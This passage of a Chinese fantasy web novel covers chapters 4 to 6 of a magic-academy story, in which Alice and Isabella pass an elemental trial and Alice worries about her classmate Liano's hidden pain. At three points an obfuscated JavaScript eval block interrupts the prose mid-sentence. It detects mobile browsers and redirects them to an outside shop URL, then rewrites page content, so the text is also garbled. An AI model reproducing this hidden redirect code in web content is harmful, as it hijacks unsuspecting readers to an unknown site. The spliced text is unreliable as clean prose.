;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092914|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择,结交与她相互认可的人。 他呢?他也会是这么想的吗? 爱丽丝回忆着那个安静地坐在她身旁的身影,还有清丽而缜密的笔迹,神色疏离的略显苍白的侧脸。 不知道他还会再选些什么课。 如果能再遇到他就好了。 还有…… 她的脑海中冒出另一个画面。 单薄的身影和宽广的湖面形成鲜明的对比,但是当那个身影抬手施法,仿佛一切都在屏息以待。 那是能让她感受到美好和赤诚的魔法,让她庆幸来到这里的魔法。 如果也能认识他就好了…… 爱丽丝彻底停下步伐,闭上眼做了一个悠长的深呼吸。 重新睁开眼时,和往常一样的神采又回到那双琥珀色的眼中。 然后她再次迈动脚步,轻快地小跑着前往下一个课堂。 不为什么,只是因为下节课听上去也很有趣! * 所以说魔法学院果然是—— 啊,离超好的地方还差那么一点点。 爱丽丝今天也在公共餐厅的供餐处转悠了一小会儿,却依旧没看见和家里餐桌上类似的冰沙甜点。 说真的,她有点想念庞普夫人的手艺了。 在松松软软的冰沙上浇上牛奶和炼乳,或者再加上一点水果,冰冰凉凉又甜丝丝的真的很好吃。 她最后一次惆怅地环视了一圈,终于放弃了转悠,转而在一张空桌旁坐下,意识到自己其实有点想家。 “也不知道姐姐的小鸟能不能飞过来呢……” 姐姐爱琳娜和她相差了近十岁,却始终是她最亲密的家人。 因为双亲的意外,爱琳娜承担起梅尔维尔领主的重任,作为风元素施法者却无缘上一世代魔法学院大门的开启。 好在克莱因老师那时就会教姐姐一些基础的魔法,其中爱丽丝最喜欢的就是姐姐的风元素小鸟。 虽然克莱因老师并不希望她过早尝试操纵魔法,但她在看了两次之后也偷偷学会了。 于是那个具有观测和探查功能的风元素魔法,主要被她们姐妹俩用来互相敲着窗户传小纸条。 不过学院好像是飞不进来的样子,毕竟整个学院都被覆盖在魔法的保护和隐藏之下,梅尔维尔领地也有些太远了。 如果是在学院内部的话应该不受影响? 爱丽丝正在思维飘忽地用餐,远远看见伊莎贝拉走了过来,现在她已经很擅长在一众兜帽打扮里捕捉认识的身影了。 她熟稔地挪了挪餐盘为好友腾出地方,对面坐下的伊莎贝拉却好像很疲惫一般地深深叹气。 爱丽丝哑然失笑,“怎么了?魔法骑射课这么夸张?” 还真是很少看到伊莎贝拉这副样子。 爱丽丝自己并不偏好这些体术相关的课程,但她知道伊莎贝拉应当很擅长,毕竟这是罗斯戴尔领地的传统来着。 伊莎贝拉抬起眼欲言又止,瞥了瞥近处没有旁人才偷偷摸摸地开口。 “爱丽丝……你有没有……” 她凑近了轻语,“我是说这几天在学院,你有没有遇到什么奇怪的事情,比如进入一些神奇的空间之类的……” “……!”爱丽丝咬着勺子瞪大了双眼,“难道伊莎贝拉你也……” 伊莎贝拉看到她的反应立刻就懂了,却一把搂过她止住了她的答话。 “嘘——!” 4. 莫名地担心他 “火元素是最难操纵的元素,它光辉、璀璨、热烈,却也暗藏着焦灼、暴虐和危险。” 年轻而强壮的男性教授面上没有一丝表情,下垂的嘴角吐露出带着些许狠厉的话语。 “你们是被火元素选中的学徒,但不要妄想你们能轻易掌控它。不论,”他刻意地停顿,看向某几个似乎志在必得的学徒,“你们之前曾经成功施展过什么样的火元素魔法,在我这里,你们全部都要重新开始。” “你们将在这一整个学期,从最基础的部分,一点一点接触这个多变的元素。请你们务必打起精神!” 他的眼神猛然一瞥,有学徒因为他腰间的短鞭而吞了吞口水。 “稍有不慎,迎接你们的将会是烫伤、爆炸,甚至更加恐怖的后果。” 警告的话语在昏暗的教室中渐渐传远。 不像魔法史课那样亮堂的阅览室,这间教室黑乎乎如同牢狱一般,倒是与教室前方这位教授的风格相符。而教室四周是早已被熏黑的厚重的墙壁,仿佛在回应那句“更加恐怖的后果”。 “听好,爱丽丝……” 但伊莎贝拉显然不太在乎这种紧张的气氛,正在小声和爱丽丝说着悄悄话。 “我想我们最好别将秘境的经历轻易告诉他人,还有在仪式间获得的启示,这应当是至关重要的事情,一定要谨慎对待。” 爱丽丝煞有介事地点点头,顺便将自己藏在前排学徒的身后试图降低存在感。 但是仪式间的启示是什么?是院长先生最后对她说的话吗? 可惜当时仪式间魔法的光已经洒下,她其实什么也没听见,只在光亮中隐约看见院长先生开了口。 该不会她就这样错过了仪式间的启示吧? 不过鉴于刚刚伊莎贝拉的提醒,爱丽丝觉得现在也许不是讨论这些的好时机。 她又探出一点脑袋,目光从前排学徒身影的中间穿过,向教室前方正在示范施法的教授看去。 “火焰是火元素最为本真的存在状态,是火元素的显性存在。” 教室前方一支蜡烛正在静静燃烧,昏暗的环境中,那簇火焰仿佛正与空气中的什么共振。而教授的声音也一改先前的严厉,拖长的音调像是在避免打扰什么。 “感受烛光中的显性火元素,并试图用空气中的隐性火元素加强它们,这是你们接触火元素最好的方式。” “所以说,秘境真的是所谓的元素的考验吗?” 爱丽丝和其他学徒一起领来蜡烛开始练习,却忍不住继续思考着关于秘境的事情。 这个相当于魔法学院神秘事件的存在真的太有吸引力了,她借着学徒们练习施法时细细簌簌的动静又凑到了伊莎贝拉身边。 “估计是。”伊莎贝拉也试图推测,今天的练习对她来说并无难度,“你离开秘境后,挂坠凭证有什么变化吗?” 爱丽丝在只一瞬间的回忆之后立刻点了点头。 她检查过自己的挂坠,中间部分多出的几粒细沙想必是因为她所完成的课程。 而四周的三角形结构也在她离开秘境后发生了变化,对应四元素的四个位置都多出了细沙,爱丽丝不知道这是否是由于她是四元素施法者的缘故。 她将观察到的变化描述给伊莎贝拉,得到一句“那就没错了”。 挂坠周围对应四元素的部分应当就代表着元素的认可,而爱丽丝通过秘境中元素的考验,获得了所对应程度的元素的认可。 她自然而然地询问伊莎贝拉是否也是如此,没想到伊莎贝拉却摇了摇头。 “我推测……我的考验可能还没有结束。”她像是沉思地,“我还没能解决掉那个。” 爱丽丝感到疑惑。 虽然很容易就能猜测出每人遇到的秘境有所不同,她也隐约能感觉到自己那个奇奇怪怪的毛茸茸秘境很特别,但在伊莎贝拉的秘境里,究竟是什么东西需要被她“解决掉”? 而且,经验告诉她,当一个罗斯戴尔领地人用“解决掉”来描述一件事的时候,事情通常没那么简单。 * “正统的施法,做得很好。” 教授面无表情地对着伊莎贝拉点了点头。 爱丽丝推测这应当是一个相当高的评价,因为在伊莎贝拉轻轻挥动魔杖后,烛焰明显跳动并膨胀起来,亮度和热度也随之上升,似乎不再是一支蜡烛而是一个火把了,伊莎贝拉对此却撇撇嘴没说什么。 下一个要上前施法的是爱丽丝。 她本想张口调动火元素,教授周围的低气压却让她把话语默默咽下在心里。不过没关系,这并不困难,只不过无声魔法会更多地受到施法者思维的影响罢了。 只见面前的烛焰先是规矩地膨胀起来,随后却并没有停止变化,而是慢慢拉长变形,金色丝线一般向上空一点点蔓延。 爱丽丝眨了眨眼睛。 她好像一不小心想到魔法史课堂上的时间轴了,这该不会不合要求吧? “缺少攻击性,但具有灵活度及创造力,很有天赋。” 好在教授似乎并不像看上去那样不近人情,也对她点了点头,甚至连表情都错觉般的柔和了一些。 “下一个。” 排在她后面就要进行施法的学徒是利亚诺,意识到这一点使得爱丽丝回到位置的动作微微迟滞了一瞬。 她不自觉地关注着利亚诺的状态,这才发现他使用的也是手势魔法,和那天在湖边的人一样。 但是,他的动作却显得…… 她看着利亚诺在燃烧的蜡烛前方轻轻划动手臂。 他的手掌几乎掠过火焰,又在蜡烛的侧面短暂停顿了一下,随后翻动手心朝上,先是稍稍下沉,再往上抬起一小段距离。 爱丽丝不知道该怎么形容。 不够投入?过于拘谨?明明手臂和手指的每次移动都是标准的甚至优美的,但就是令人感觉缺少了一些什么。 当动作最后定住的时候,她发现利亚诺的手指不知为何颤抖了一下。就好像是感受到什么疼痛一般想要瑟缩起来,但是却被他生生忍耐住了。 抬眼看去,烛焰轻轻晃动,并无其他反应,连最基础的火焰的扩大也不曾显现。 严肃地站在对面的教授一言不发,抱着手臂沉着脸摇了摇头。 利亚诺也沉默着,随后慢慢收回停在半空的手臂。走回自己的位置时,他兜帽下的唇线抿得很紧。 怎么会…… 爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092915|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽丝下意识地露出担心的神色。 她不认为利亚诺会是对魔法随意敷衍的人,他认真和勤勉的程度甚至连她都自愧不如。 那么为什么会这样呢?为什么火元素没有给予他回应? 天赋不足吗?但是既然他有资格选择这门课,说明他本身的魔力是带有火元素的属性的。 因为虽然四元素之间可以相互转换,可是这个过程难度非常大,在现有的课程中几乎不会让学徒有所接触,所以他们目前所学习的魔法都是与自身魔力属性对应的,利亚诺应该确实带有火属性没错。 既然如此……爱丽丝更愿意相信他遇到了什么别的困难。 是身体不适吗?还是魔力的流动不畅? 她想起他警惕的眼神、始终苍白的面庞,还有死死按压着腹部靠着墙壁颤抖的单薄背影,她最近时常想起这些。 爱丽丝意识到,她其实是想…… * “所以你很想帮助他?想问问他遇到了什么困难?” 伊莎贝拉露出不赞成的神色,“你甚至不知道他是什么背景。那天在礼堂和奥斯维德叫板的人你也看到了,要我说,图谋不轨的可不止格罗姆康特一家。” 爱丽丝明白,尤其是在魔法史教室听到那些不善的言论之后,安娜的叮嘱就重新回到她的脑袋里。但利亚诺给她的感觉是不一样的,所以她下意识地为他辩解。 “他不像是坏人。” “为什么?就因为他在理论课上写的文章让你很喜欢?”伊莎贝拉一语道破,“坏人的脸上可没写坏字,文章里更不会写。” 爱丽丝知道伊莎贝拉说得对,但就是不太满意地嘟了嘟嘴,她的直觉还从来没有错过呢。 于是她难得为了反驳什么而开动脑经,“但是伊莎贝拉,如果我不去接触,我要怎样知道谁才是与我志趣相投的人呢?好人脸上也没写好字!” 她并不担心与伊莎贝拉意见相左,因为她知道伊莎贝拉是可以就事论事的讨论者。 伊莎贝拉却感到意外地挑了挑眉毛,她很少看到爱丽丝去坚持什么,通常只要有一些有趣的魔法,她就会满足得像晒着太阳睡午觉的小猫咪一样,再也不在意其他什么,她还以为爱丽丝会转移话题继续和她讨论秘境。 “嗯……我倒是也认可你的说法。”所以她这会儿不得不更加仔细地思考起回答爱丽丝的方式,“但是这一切的基础是……” 她的声音突然停顿。 而她们两个人的步伐也仿佛被施了法一样,在同一时刻死死定住了。 因为她们感受到了什么。 熟悉的朦胧的闪光,熟悉的元素不寻常的流动,熟悉的与世隔绝之感。 她们同时愣住盯着对方,确认了对方的身影依然存在于自己的眼前。 这还是她们第一次在两个人的情况下进入秘境。 下一秒,爱丽丝被伊莎贝拉身后的什么吸引了注意力。 她用手指指向伊莎贝拉的身后,嘴唇开合几次却不知道怎么描述。 伊莎贝拉见状也有所预料般的脸色一青。 她没有回头,而是一把拽过爱丽丝让她调转方向,同时大声高喊: “快跑——!” 5. 为他留出距离 “呜哇——!” 秘境里没有他人,爱丽丝和伊莎贝拉两人彻底不顾形象地边逃跑边乱叫。 半空中穷追不舍的是一只元素力量构成的大鸟,虽然不像是要致人死地,但是不时发射的带着冰粒的吐息沾上一点都让人冻得一个激灵。 爱丽丝为了躲避差点将自己绊倒,伊莎贝拉一把拽过她接着往前跑。 这个诡异的场景对于两人都是一样的无法解释,但她们确信对方的存在必然对这个秘境产生了一定的影响。 “我的秘境可里没有这么凶的鸟!” 爱丽丝在喘气的间隙大喊,她早就体力告急,现在已经全靠伊莎贝拉拽着她。 “我的秘境里它也不会对人吐冰碴子!” 伊莎贝拉边回头观察着大鸟的位置边喊回去,天知道她秘境里的鸟本来只是在盘旋而已,顶多再飞到人的脑袋上扑棱两下翅膀。 “这是冰沙吧!冰沙——!”爱丽丝喊道。 哪怕早就习惯了爱丽丝跳跃的思维,伊莎贝拉也不得不折服于她松弛的心态。她扭头看向爱丽丝肩膀,兜帽上留下了先前被击中的痕迹,那些冰粒看着细腻,好像确实用容器接起来再淋上果酱就可以吃了。 但是拜托至少等现在的情况解决了再考虑吧! “都什么时候了还想着点心!快躲开!” 她大喊着猛地一推,爱丽丝顺势跌向一旁柔软的草地,又咕噜咕噜地滚向遮蔽身形的灌木丛,刚好躲过了来自空中的寒冷的吐息。 “朝这儿来!” 伊莎贝拉一个急转调过方向,将大鸟吸引至另一边。 总是逃跑不是办法,她们必须分出精力用魔法应对,在这一点上她很信任爱丽丝。 与此同时,爱丽丝从灌木丛里手脚并用地爬出来,喘了两口气又甩了甩脑袋上沾着的叶片。 她还带着奔跑了半天的兴奋劲儿,将召唤元素的话语喊得大声: “稳定而温和的土元素,请你赐予我保护!” 感受到强力的感召和充沛的魔力,秘境中的土元素也立刻兴奋起来。爱丽丝听到耳边隐约响起坚实厚重的声音,随后土元素在她的周身聚集,形成了一层稳固的保护力量。 她站起身向远处的伊莎贝拉挥手示意,对方接收到信号之后直线向她跑来。眼看大鸟的吐息又要到来,爱丽丝也飞奔着向伊莎贝拉扑过去。 “土元素,拜托你变成宽广的护盾,把伊莎贝拉也保护进来!” “唰——” 大鸟的吐息袭来,两人一同扑倒在地,想象中的寒冷并没有到来,她们在耳边的动静平息后试探着抬起头。 四周白茫茫一片,是冰沙被阻挡在了土元素的护盾之外。已经无法造成影响的冰沙渐渐掉落或消融,露出护盾之外的景象。 只见大鸟仍在空中盘旋,却好像知道这是无用功一般没再进行攻击。 “呵,终于轮到我们反击了!” 狼狈地被追了大半天,现在终于可以扬眉吐气,伊莎贝拉的眼睛里闪着的火光有如实质。 她干脆利落地翻身站起,借着爱丽丝的护盾,左手张开朝向天空作为瞄准,右手从衣袋中抽出魔杖指向目标。 “不论是秘境的鸟还是别的什么……” 她鼓动的心跳也还尚未平息,高涨的情绪连同澎湃的魔力同时涌向魔杖,风元素和火元素的魔力一同冲向高空。 “都给我看好了——!” 魔力的攻击将空中的大鸟贯穿时,伊莎贝拉莫名体会到一种熟悉感,就好像这种令人激动的不管不顾的施法,曾经也在她的记忆中出现过。 * 左手张开朝向天空,一只鸟正在瞄准范围内盘旋,年幼的伊莎贝拉正想抽出魔杖攻击,却因为耳边听到的动静而警惕地向一旁看去。 低矮的灌木丛摇晃了两下,钻出一个浑身沾满落叶的小豆丁。 她的年龄看上去和她相仿,穿着明显不便于林间行动的衣裙,在发现她之后就呆愣愣地盯着她,琥珀色的眸子一眨一眨的。 “你也是偷偷溜出来玩的吗?” 小豆丁语气软乎乎地开口,叫伊莎贝拉一时语塞,“……这是狩猎会,我是出来打猎的。” 这里是罗斯戴尔狩猎会的狩猎区域,她看上去好像不认识自己,又不太搞得清状况,那应该是梅尔维尔家的爱丽丝没错了。 据说附属领地梅尔维尔的前任领主和领主夫人出了意外,小女儿又大病了一场,整个领地直到今年才勉强恢复正常运转,父亲还特意关注了一下。 伊莎贝拉抬头一望,刚才盯住的猎物早就已经飞不见了,她只好在确认身份后带着小豆丁一起前进,想着一会儿顺带把她送回主会场。对方一副对她毫无警惕心的样子,愉快地就跟上了脚步。 是不是太轻信他人了,梅尔维尔的教育真的没问题吗?伊莎贝拉小大人似的在心里嘀咕,丝毫没有意识到她也只是同龄的孩子。 “不射箭吗?” 爱丽丝在伊莎贝拉第五次或者第六次放下魔杖时忍不住轻声问,她几乎可以肯定对方手中的魔杖能将魔力作为箭矢射出。 伊莎贝拉在她们前进时仍在寻找狩猎目标,但始终没有做出任何攻击,总是在摆好架势后又撇撇嘴放下了魔杖。 “梅尔维尔是罗斯戴尔的附属领地,所以你也应该知道的吧,我们都是以擅长风元素魔法著称的地区。” 单元素并非代表弱小,而是相反能将这一元素的魔法潜力发挥得更加充分。 罗斯戴尔家族出身的几乎都是风元素魔法师,但伊莎贝拉却是一个意外,火元素清晰地显现在她的魔法属性中,一如她艳丽的红发。 “明明父亲和哥哥狩猎时都可以直接用风元素的攻击捕获猎物的,我的攻击却怎么样都会带上火元素……” 到底是年纪还小,和玩伴熟悉了的伊莎贝拉不知不觉吐露出内心的纠葛。她并不指望对方能够做到什么,只是这件事不好和身边人说,所以稍微倾诉一下罢了。 爱丽丝却好像丝毫没有感受到她的纠结,眼睛亮晶晶的好像看到美味大餐。 “那就是说……可以直接变成烤鸡吗!” “……那是鸟不是鸡。” “烤乳鸽!庞普夫人做的烤乳鸽最好吃了!” “……这是狩猎会不是厨艺会。” 她在高兴些什么?伊莎贝拉继续拉着她往前,脚步却不知怎么的在“烤乳鸽烤乳鸽”的叫唤声里渐渐轻快起来。然后身边的小豆丁突然噤声拽了拽她的衣袖,用手指指向空中露出踪迹的鸟。 如果真的变成烤乳鸽的话……好像听上去也不错。 伊莎贝拉盯着空中的猎物舔了舔嘴唇,第一次以一种神奇的兴奋的心情扬起魔杖。 “爱丽丝!你跑到哪儿去了!” “姐姐~” 伊莎贝拉拎着猎下的鸟还没把爱丽丝送到主会场,梅尔维尔领主就已经找来了。爱丽丝一看见一只风元素的小鸟就开始拦不住地狂奔,她担心出什么意外紧紧跟着,正好迎上了梅尔维尔领主。 看着爱丽丝被珍重地拥抱,伊莎贝拉突然发现,好像自己也是被爱的。 不论是父亲还是哥哥,都支持她寻找自己的喜好和方式,哪怕不同于常规他们也全然支持,似乎她不是风元素魔法师也并不影响什么。 也许阻碍她的始终只是自己的犹豫而已。 最后,伊莎贝拉和梅尔维尔领主互相行礼告别,爱丽丝则躲在梅尔维尔领主身后眨了眨眼睛,好像在邀请她下次一起玩儿。 在伊莎贝拉的印象中,那时的自己应该是相当孤僻而不好接近的,是怎么跟爱丽丝玩儿起来的呢? 爱丽丝倒是没怎么变,不论年纪大小都一样的迷糊,一样的奇奇怪怪,也一样的给人带来温暖。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092916|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 毕竟她就是这样的人。 * “咳咳咳……” 大鸟体内残留的冰沙遇到火焰,生成了大量的水汽,几乎要把爱丽丝和伊莎贝拉都给淹了。 水汽散去的时候,周身环绕的元素也散去了,代表她们已经离开了秘境。 “真是吓死人了——”爱丽丝甩了甩额前沾上水滴的发梢,故作夸张的语气却毫无紧张感,“这个秘境也太凶残了吧,这就是罗斯戴尔的力量吗?” 伊莎贝拉听得哭笑不得,“凶残这个词未免也太……” 她们气喘吁吁地看着对方,又同时大笑起来。 伊莎贝拉摸出自己的挂坠查看,风元素和火元素的位置都多出了一点细沙,她魔力中所不具备的土元素位置也多出了一些,只不过要少得多。 是这三种元素给出了认可吗?她将疑问暂放心底。身旁爱丽丝的挂坠和前一次一样,四个元素的位置都增加了细沙,稳定得叫人羡慕。 总之这次的秘境算是解决了,但是有关秘境和元素的考验还有太多未解之谜,真该好好调查一下,伊莎贝拉暗下决心。 她站起身,又将爱丽丝拉起来,然后拍了拍身上的尘土,装作不经意地开口,“担心就去问问吧。” “嗯?”爱丽丝不解。 “那个让你在意的优等生。”伊莎贝拉双手抱臂,做出一个酷酷的姿态,“我会保护你的,他要是敢欺负你我一定帮你凶回去!” “嘿嘿,谢谢你伊莎贝拉~”爱丽丝亲昵地贴近了她,“但是总感觉他是那种需要一点点慢慢靠近的人,不然肯定会像炸毛的小猫一样跑掉的。” “……这是什么奇怪的理论。” 真的不要紧吗?要不还是拜托奥斯维德先调查一下他吧?伊莎贝拉在心里嘀咕,和爱丽丝一起渐渐走远,爱丽丝轻快的尾音也在空中慢慢消散。 “是小猫理论喔!” * “给你。” 耳边响起轻轻的气声,利亚诺发现身边的人帮他捡起了掉落的月桂叶,魔法药材课上摊开在桌面的叶片总是容易在衣袖和微风的遮掩下偷偷失踪。 他下意识抬眼看去,又在视线触碰到对方琥珀色的眼眸时不自然地闪躲,随后生涩地开口,吐露出那个对他来说几乎已经陌生的词汇。 “……谢谢。” “不用谢~” 对方的回复听上去带着暖暖的笑意。 利亚诺有点在意这个经常在他身边出现的学徒。 真的经常出现,他曾以为不会有谁像他一样选这么多理论课的,而且还选得这样相似。 她总是出现在他的周围,却从不打扰他,只是很专注地听课,在教室偏小、桌椅数量没有多余时似乎也不介意坐在他旁边,但却从未让他感受到任何的恶意或侵略性。 他感受得到,她是一个明媚的人。 甚至在课堂上发言时的语气也是明亮的,好像枝头的小鸟在蹦蹦跳跳,不时说出一些角度新奇却令人眼前一亮的观点。 有时她会和朋友同行,在上课前将脑袋凑在一起细细簌簌地聊天,他能在她侧过头时从兜帽的阴影下看见她对朋友露出的弯弯的眉眼和温暖的笑容。 但利亚诺不明白为什么连他也可以隐约感觉到这份暖意。 偶尔他们会对上视线,而对方只是轻轻微笑示意。 他其实更愿意独自蜷缩在教室阴暗的角落,毕竟没有人会想要接触他这样的人,冷硬的、阴沉的、令人厌恶的。那些背后不善的议论他早已习惯了,降低自己的存在感也可以帮助他避免一些麻烦。 但如果身边一定要有一个人的话…… 他会希望是她。 这很危险,因为他居然渐渐觉得在她身边可以松一口气,渐渐习惯于她的接近,明明他对自己的处境再清楚不过。 他不该这样的,利亚诺提醒自己。 6. 下意识地关照他 “利亚诺,你、你还好吗……”爱丽丝犹豫着轻声开口。 魔法生理学课是所有学徒必修的课程,相当宽阔的教室里人数众多,角落的动静几乎无人在意。 只有前排一个暗红发色的学徒不知在回头张望些什么,爱丽丝隐约记起他是伊莎贝拉口中的格罗姆康特家族,但他很快也就转过头去,让她能够在教授的讲授声和各种翻阅书籍、抄写笔记的细小声音里询问利亚诺的状态。 她知道利亚诺有时会不舒服。 可能是胃痛吧,他偶尔会皱着眉微微蜷起身体,整个人散发出一种紧张而戒备的气场。 爱丽丝通常不会在这个时候打扰他,她知道随意接近正在忍痛的猫猫是很冒犯的行为。 但她有时实在忍不住投去担心的目光,她发现,每当利亚诺意识到她的目光时,即使不与她对视,也总是会试图让自己的表情柔和下来一些,似乎是在无声地表示自己没事。 虽然那一点点的柔和在他疏离冷淡的神色里几乎叫人察觉不了,但是爱丽丝相信自己感觉到了,这让她心里酸酸软软的,觉得他没必要这样的顾虑和克制。 但是今天,利亚诺的状态有些不太对劲。 疼。 利亚诺克制着身体的颤抖。 他蜷缩着趴在桌面上,将面庞埋在双臂间,试图让自己忽视腹部搅动般的痛楚。 但这不可能。 这是刻意给他的提醒、刻意对他的玩弄,是自从来到学院就越发变本加厉的折磨。他多日的躲藏行径似乎惹怒了对方,叫对方特地在此时此地开始这场游戏。 钝痛如同钝刀一般在腹部缓慢地游走,又在脆弱处揪起密密麻麻的刺痛,最后聚集在一个无法触摸无法形容的位置,每一次搅动都牵扯着所有敏感的神经。 利亚诺的呼吸开始发颤,但他知道这只是个开始。 “人类与元素的互动并不是不需要代价的,人类会将自身携带的能量,也就是通常所说的魔力,奉献给元素,作为交换,元素将实现人类的愿望。当然,这一过程并非像这句总结一样简单,也许你们已经在魔法史课堂上了解了人类探索魔法的脚步,又在各个元素的魔法实践课程中不断钻研和元素交流的方式方法……” 教授在讲台前讲得投入。 “然而,人类如何产生魔力,魔力是来自自身还是来自环境,生成的魔力如何储存在身体当中,同时形成每个个体魔力量的差距,又是如何在施法的过程中使用出来,这些问题都是魔法生理学的重要研究内容。” 学徒众多,他无法特别关注到谁,只有在风元素魔法的协助下将声音尽量传远,毕竟这是一门对每位施法者都至关重要的课程。 他又轻点一个魔法阵,使文字和图案在法阵的上空浮现。 “现在,请各位记住魔法生理学中最重要的概念,人体中用来生成、储存和释放魔力的器官——魔法体。” 利亚诺的身体狠狠颤抖了一下。 “利亚诺,你还好吗?” 身边的人一直没有给出回应,爱丽丝的声音带上了一些担忧和焦急。 “身体很不舒服吗?需不需要去医疗室?或者用治愈魔法……” 她稍微凑近了一些,对方却依旧没有反应。她还是第一次看到利亚诺难受成这样,明明之前连她的目光都能注意到,这次却只能无声地蜷缩着发抖。 爱丽丝抿了抿唇。 这种情况是不适用小猫理论的,她需要确认他是否安好,即使被哈气或被抓伤也无所谓。 于是她尽量以温柔平缓的动作,试探着将手轻轻搭上对方的小臂。 “利亚诺。” “——!” 手臂上轻微的触碰引起了利亚诺的猛然躲避,他一瞬间防备地撤过身体面向感受到触碰的方向,猛烈的动作差点要将桌上的笔墨撞倒,骤然抬起的灰色瞳孔也收缩成一条细线,紧张地盯着爱丽丝,仿佛随时要抵抗一般整个人紧绷到极限。 即使有心理准备,爱丽丝也因他剧烈的反应而稍稍愣住,利亚诺这才回过神来。 “不、不用……没事,不用管我……抱歉……” 或许是意识到她不会伤害自己,或许是愧疚于自己吓到她了,他喘了口气慢慢放松了身体,努力使自己的态度柔和了一些。 爱丽丝抓住机会,“你需不需要去……” 但是他没等爱丽丝问完。 “别管我。” 爱丽丝止住了话语。 痛苦、隐忍、决绝。 非常罕见地,利亚诺那双灰色的眼睛正毫无保留地望向她,没有平日里的闪躲,让她能够看清其中这些令人心痛的色彩。 所以爱丽丝知道,这是一个认真的回答,而不是随意的敷衍或是别的什么。 那双眼睛很快就重新因痛苦而紧紧闭上了,利亚诺皱着眉咬着牙再度将自己蜷缩起来,只有破碎的呢喃勉强传到爱丽丝的耳畔。 “别管我……” 这是没有办法的事情。 爱丽丝从他的眼神中理解了。 他没有办法向她解释这种疼痛的缘由,也没有办法逃离这样的疼痛,没有办法离开教室去医疗室寻求帮助,也没有办法自己使用或请求爱丽丝使用治愈魔法来为压抑的身体换取片刻喘息…… 或者说,这本就是爱丽丝的异想天开,治愈魔法是不应当被生疏的施救者轻易使用的。 即使借助了水元素治愈之力,伤口的强行愈合依旧会带来疼痛。而对于体内的疼痛,还需要采用风元素的探查准确找到病灶再进行治愈。 爱丽丝见过克莱因老师使用这个魔法,自己却还没能掌握。 总之,没有什么她能做的,她的担心只有到此为止。 她的视线不自然地扭转回到教室前方,教授仍在投入地讲解,而一旦挪开视线,身边那个过于安静的、无声忍耐的身影仿佛就不复存在,让她不必承受任何良心上的谴责。 “魔法体在理论上存在,却无法被解剖学观测到。我们可以将其想象为一个存在于腹腔中、形似玻璃球的容器,玻璃的材质决定了每个人的魔法属性,而容器的大小决定了魔力量的多少……” “呜……” 为什么……偏偏是现在…… 利亚诺用额头抵住桌面,咽下几乎要泄出的呻吟,忍耐着胃部翻涌而起的另一种痛。 魔法体。 先前无法形容的疼痛恶趣味地与这个单词绑定在一起,却又出尔反尔地不让他好受,在某几个已准备好忍耐的时刻放过他,又在他以为可以喘息的时候更加剧烈地折磨。 然后他的身体开始在煎熬和恐惧中背叛他,胃部的痉挛在持续的疼痛和精神压力下毫无预兆地暴起,冷硬的抽痛不识趣地、没有间隔地向他抗议,有形的痛和无形的痛绞在一起,一点点将他推向崩溃的边缘。 哪怕一手死死按压着腹部,另一只手狠狠掐住大腿转移自己的注意力,利亚诺依然清晰地感受到自己的崩溃。 冷汗早已浸湿衣料,却仍有不断的冷意从脊背攀上来,层层叠叠的痛苦好像要一寸一寸打碎他的隐忍,直到把他毫无尊严地按压在地面上。 他不可以崩溃……至少现在不可以…… 他必须……忍耐…… “魔法体会从周围对应自身属性的元素中汲取能量,作为人体魔力和生命力的来源……” “魔法体的干涸会给人体带来极大的痛苦和危险……” “魔法体……” “魔法体……” 做些什么,爱丽丝,做些什么。 下意识产生的想法不断在脑海中重复。 爱丽丝手中的羽毛笔早就没有在抄录笔记,而是在最开始记下的那个单词上机械地反复描画。 利亚诺的眼神让她的胸口闷闷地发痛,他是那么决绝地在坚持着什么、对抗着什么,却只有无助地独自忍耐,连痛呼都要死死咽下。 她看的出来,他的状态正越来越糟糕,她听见他隐约的闷哼。当那副躯体再度因疼痛而颤抖时,她又微微低垂下目光,看向他掐着大腿用力到扭曲泛白的手。 这样做的话可能会被讨厌的…… 即便如此,也请原谅她吧。 爱丽丝下定决心。 “——!” 手腕被忽然握住,利亚诺几乎是震惊而错愕地抬起头瞪向爱丽丝。 他反射性地想要抽出手,却发现握住他手腕的并不大的力道中带着某种无法轻易挣脱的坚定,盯着他的眼睛也认真得像是在准备某种魔法。 不、不要,他受不了的……他受不了任何…… “呃——!!” 下一个瞬间,腹部难以形容的痛楚又一次袭来,被分散了精力的利亚诺再也忍耐不住一声隐忍的痛呼,或者不如说,他早就忍耐不住了。 尖锐的疼痛让他的思维空白了一秒,回过神来时,来自自己喉间的不堪的声音让他陷入了前所未有的恐慌。 他慌乱地朝前看去,目光匆忙地掠过整个教室,在讲课的教授、大批的学徒、暗红发色的背影之间不知所措地来回跳跃,却发现好像并没有人要奸笑着揭露他的狼狈,也并没有人要假意关切地将他赶出教室。 